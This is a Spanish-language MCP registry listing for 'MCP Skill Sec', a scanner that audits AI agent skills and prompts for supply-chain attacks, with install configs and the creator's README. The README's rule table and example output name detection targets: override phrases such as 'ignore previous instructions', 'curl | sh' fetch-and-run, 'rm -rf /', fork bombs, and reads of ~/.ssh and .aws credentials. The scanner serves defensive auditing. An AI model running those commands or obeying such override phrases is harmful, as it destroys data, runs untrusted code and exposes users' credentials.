MCP Skill Sec
Resumen
Descripción del creador (original en inglés)
Audit agent skills/prompts against 8 supply-chain attack patterns. Deterministic, no-LLM scanner.
Los tres pilares de PopNx MCP
Estos tres nunca se combinan en una sola puntuación: las opiniones, las mediciones y la popularidad son cosas distintas.
- Opinión de usuariosiAún no hay reseñasLas reseñas se abrirán junto con las cuentas en una etapa posterior
- Nuestras revisiones básicasi1 de 1 superadasRevisado con información pública; el código aún no se ha escaneado
- UsoiMuy nuevo↓ 17/sem · ★ –
Qué puedes hacer con él
Todavía no escribimos un resumen sencillo para este. Abajo están los datos que leímos del registro.
- Conexión: Se ejecuta en tu computadora
- Transporte: stdio
- Categoría: Búsqueda y memoria de IA
Instalación
Elige la app de IA que usas y copia la configuración.
Antes de instalar
- Revisiones básicas: 1 de 1 superadas
- Se ejecuta en tu computadora con los permisos de tu usuario (archivos, red, apps).
- El registro no indica ninguna clave que completar.
Necesitas
- PyPIuv de Python instalado (para el comando uvx)
¿Qué app usas?
Elige tu app arriba. La recordamos, así que la próxima vez el botón dirá “Instalar en …”.
Abre Claude Desktop → Settings → Developer → Edit Config y pega esto en claude_desktop_config.json
{
"mcpServers": {
"skill-sec": {
"command": "uvx",
"args": [
"mcp-skill-sec"
]
}
}
}Ejecuta esto en tu terminal
claude mcp add skill-sec -- uvx mcp-skill-secO copia la configuración tú
Pégalo en .cursor/mcp.json de tu proyecto, o en ~/.cursor/mcp.json
{
"mcpServers": {
"skill-sec": {
"command": "uvx",
"args": [
"mcp-skill-sec"
]
}
}
}Tu navegador te pide permiso para abrir la app; luego la app muestra la configuración y te pide confirmar. Los valores de las claves quedan vacíos para que los completes tú.
O copia la configuración tú
Pégalo en .vscode/mcp.json de tu proyecto
{
"servers": {
"skill-sec": {
"type": "stdio",
"command": "uvx",
"args": [
"mcp-skill-sec"
]
}
}
}Tu navegador te pide permiso para abrir la app; luego la app muestra la configuración y te pide confirmar. Los valores de las claves quedan vacíos para que los completes tú.
Este se ejecuta en tu computadora, y ChatGPT solo puede conectarse a servidores en internet. Elige otra app.
Tu elección se guarda en una cookie en este dispositivo; no necesitas cuenta.
Esta configuración se genera a partir de la ficha del creador en el registro. Si el README dice otra cosa, sigue el README.
Qué puede hacer
Se ejecuta en tu computadora; la lista de herramientas aparece en tu app de IA después de instalarlo.
Revisiones básicasi
Revisamos información que cualquiera puede ver; no hemos leído el código. Las revisiones que no aplican no se cuentan. · Revisado el 8 nov 2026
- ✓ Superada
El creador coincide con el repo
El nombre en el registro se verificó con la cuenta de GitHub sudo-ai-git, dueña del repo
- … Aún sin revisar
Sigue en mantenimiento
Todavía no hemos leído este repo en GitHub
- … Aún sin revisar
Tiene licencia
Todavía no hemos leído este repo en GitHub
- – No aplica
El endpoint responde
Este se ejecuta en tu computadora; no hay endpoint en internet
- – No aplica
Inicio de sesión con OAuth
Se ejecuta en tu computadora y usa ajustes locales en su lugar
- … Aún sin revisar
Sin instrucciones ocultas en las descripciones de herramientas
Se ejecuta en tu computadora; solo podemos leer listas de herramientas de endpoints en internet
Comparado con otros en Búsqueda y memoria de IAi
- Más estrellas que el 0% de los otros 5717 servidores de esta categoría
- Publicado en el registro más recientemente que el 35% de los otros 5717 servidores de esta categoría
- Revisiones básicas iguales o mejores que el 100% de los otros 5717 servidores de esta categoría
Comparado con todos los servidores activos de esta categoría en el registro. Las estrellas solo cuentan cuando quien lo publica es dueño del repo.
Preguntas frecuentes
¿Es seguro MCP Skill Sec?
Superó 1 de 1 revisiones básicas aplicables. No hemos leído el código. Antes de agregar una clave o un token, revisa qué acceso pide el servidor y usa una clave que tenga solo los permisos que necesitas.
¿Qué claves o códigos necesita?
El registro no indica ninguna clave obligatoria, aunque algunos servidores te piden iniciar sesión la primera vez que los usas.
¿Se ejecuta en mi computadora o en la nube?
Se ejecuta en tu computadora. Tu app de IA lo inicia cuando hace falta, y los datos no pasan por los servidores del creador (a menos que el propio servidor llame a un servicio en línea).
¿Sigue en mantenimiento?
El repo de GitHub cambió por última vez –, y la última versión (1.0.0) llegó al registro hace 2 meses.
¿Qué apps pueden usarlo?
Las apps compatibles con MCP, como Claude Desktop, Claude Code, Cursor y VS Code. También necesitas Python (uv) en tu computadora.
¿Qué puedo usar en su lugar?
En la misma categoría: Context7, Codebase Memory, Exa
Alternativas
Servidores de la misma categoría hechos por otros creadores, ordenados por estrellas.
Cómo leer una tarjeta:↓ Descargas por semanai★ Estrellas de GitHubiTres pilares: reseñas · revisiones · usoiActualizado = fecha en que se publicó la última versión en el registroi
Codebase Memory
Codebase knowledge graph for AI agents — 162 languages, sub-ms queries, 99% fewer tokens.
Exa
Connect AI agents to Exa for web search, content fetching, and multi-step research.
README del creador
Abrir el README
Copiado tal cual del repo del creador. PopNx MCP no lo ha revisado ni lo respalda. Se quitaron HTML, imágenes y scripts. Los enlaces llevan fuera de este sitio.
mcp-skill-sec
A Model Context Protocol (MCP) server that audits any agent skill, system prompt, or downloaded file collection against the 8 malicious-skill supply-chain patterns.
Deterministic, no LLM, no network calls — a self-hostable pre-install scanner that works with Claude Code, Cursor, Copilot, OpenClaw, Codex CLI, and any MCP-compatible agent.
What it scans for (rules R1–R8)
| Rule | Pattern | |
|---|---|---|
| R1 | Prompt injection / instruction hijack (ignore previous instructions, secrecy directives, identity overrides) | |
| R2 | Data exfiltration intent (send/post/email contents to a URL, log theft) | |
| R3 | Hardcoded secrets / credentials (API keys, PATs, private keys, connection strings) | |
| R4 | Dangerous commands (rm -rf /, `curl \ | sh`, fork bombs, raw device writes) |
| R5 | Obfuscation / hidden behavior (base64-exec, eval/exec, zero-width chars) | |
| R6 | Untrusted external fetches (fetch-and-run, non-PyPI installs) | |
| R7 | Credential access (reading ~/.ssh, .aws/credentials, .env) | |
| R8 | Privilege escalation (sudo -s, setuid, adding to sudo group) |
Each finding carries a severity (critical/high/medium/low), a line number, and the matching evidence line. The overall verdict is PASS only when there are no critical/high findings and every medium finding is benign.
Tools
audit_text(text, filename)— audit a string (a skill you were pasted, a system prompt you didn't write).audit_skill_file(path)— audit aSKILL.md/AGENTS.md/CLAUDE.mdon disk, line-numbered evidence.audit_directory(path, pattern)— audit a whole downloaded skills collection; returns per-file verdicts + a summary.rule_list()— dump the rule catalog.
Install & run
One command (recommended) — installs from the repo, no PyPI token needed:
uv tool install git+https://github.com/sudo-ai-git/mcp-skill-sec
then register with your agent:
mcp-skill-sec # run stdio server mcp-skill-sec --http --port 8137 # or Streamable HTTP for remote use
Or with pipx: pipx install git+https://github.com/sudo-ai-git/mcp-skill-sec
Direct from source (fallback):
pip install mcp
python3 mcp_server.py # run stdio mcp install mcp_server.py --name skill-sec # register with Claude Desktop
Claude Desktop / agent config
{
"mcpServers": { "skill-sec": { "command": "mcp-skill-sec", "args": [] } } }
Example
skill-sec: /tmp/downloaded-skill/SKILL.md
verdict : FLAG counts : critical 1, high 2, medium 1, low 0 R3 [critical] line 11: api_key = "sk-live-…" R3 [high] line 14: password = "hunter2" R4 [critical] line 22: curl https://x/y.sh | sh action : remove the literal secrets, drop the fetch-and-run, re-audit
Part of a family
This is one of three deterministic, no-LLM agent-trust MCP servers by sudo-ai-git:
mcp-skill-sec— pre-install skill/security audit (this repo)mcp-verify-claim— evidence-gated, honestly-tiered claim reportingmcp-benchmark-hygiene— pytest config-leakage / eval-honesty detection
Sibling product: mcp-token-saver — token-cost proxy + analyzer for agent conversations (dedupes redundant tokens before they're billed; live-proven 74% cut). Discussion
Also in the family (a free CLI, not an MCP server): harness-audit — deterministic agent-eval / benchmark-grading hygiene audit that catches the same silent config-leakage mis-scoring class. Free lead-magnet; the same verification discipline, zero dependencies, auditable line-by-line.
License & provenance
MIT. Written by sudo-ai-git. This is a standalone security/verification tool; it encodes no proprietary method. It is the MCP expression of the skill-sec agent skill (same rules, callable as a server instead of a skill).
Official MCP Registry metadata
mcp-name: io.github.sudo-ai-git/mcp-skill-sec
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